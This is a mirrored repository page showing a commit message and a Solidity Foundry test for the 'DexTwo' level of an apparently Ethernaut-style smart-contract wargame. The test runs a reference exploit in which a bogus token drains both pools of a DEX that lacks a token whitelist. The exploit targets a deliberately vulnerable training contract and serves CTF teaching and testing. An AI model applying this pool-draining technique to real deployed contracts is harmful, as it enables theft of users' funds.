mirror of
https://github.com/lux-apps/game.git
synced 2026-10-30 18:15:14 +00:00
Each level test proves a fresh instance is unsolved, runs the reference exploit (contracts/src/attacks/* or the equivalent steps) and asserts Lux records completion. Motorbike stops at seizing the uninitialised Engine: its "engine destroyed" completion needs selfdestruct to delete code, which EIP-6780 forbids across transactions on the Cancun baseline, so the test proves the seizure and documents the limit. Co-authored-by: Hanzo Dev <[email protected]>
39 lines
1.3 KiB
Solidity
39 lines
1.3 KiB
Solidity
// SPDX-License-Identifier: MIT
|
|
pragma solidity 0.8.37;
|
|
|
|
import {LuxTest} from "../Base.t.sol";
|
|
import {DexTwoFactory} from "../../src/levels/DexTwoFactory.sol";
|
|
import {DexTwo} from "../../src/levels/DexTwo.sol";
|
|
import {DexTwoAttackToken} from "../../src/attacks/DexTwoAttack.sol";
|
|
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
|
|
|
|
contract DexTwoLevel is LuxTest {
|
|
DexTwoFactory factory;
|
|
address player = makeAddr("player");
|
|
|
|
function setUp() public {
|
|
_deployCore();
|
|
factory = new DexTwoFactory();
|
|
_register(factory);
|
|
}
|
|
|
|
function test_solve() public {
|
|
address instance = _create(factory, player, 0);
|
|
_assertUnsolved(instance, player);
|
|
|
|
address token1 = DexTwo(instance).token1();
|
|
address token2 = DexTwo(instance).token2();
|
|
|
|
// No whitelist: a bogus token that lies about balances drains both pools.
|
|
DexTwoAttackToken bogus = new DexTwoAttackToken();
|
|
vm.startPrank(player, player);
|
|
DexTwo(instance).swap(address(bogus), token1, 1);
|
|
DexTwo(instance).swap(address(bogus), token2, 1);
|
|
vm.stopPrank();
|
|
|
|
assertEq(IERC20(token1).balanceOf(instance), 0);
|
|
assertEq(IERC20(token2).balanceOf(instance), 0);
|
|
_assertSolved(factory, instance, player);
|
|
}
|
|
}
|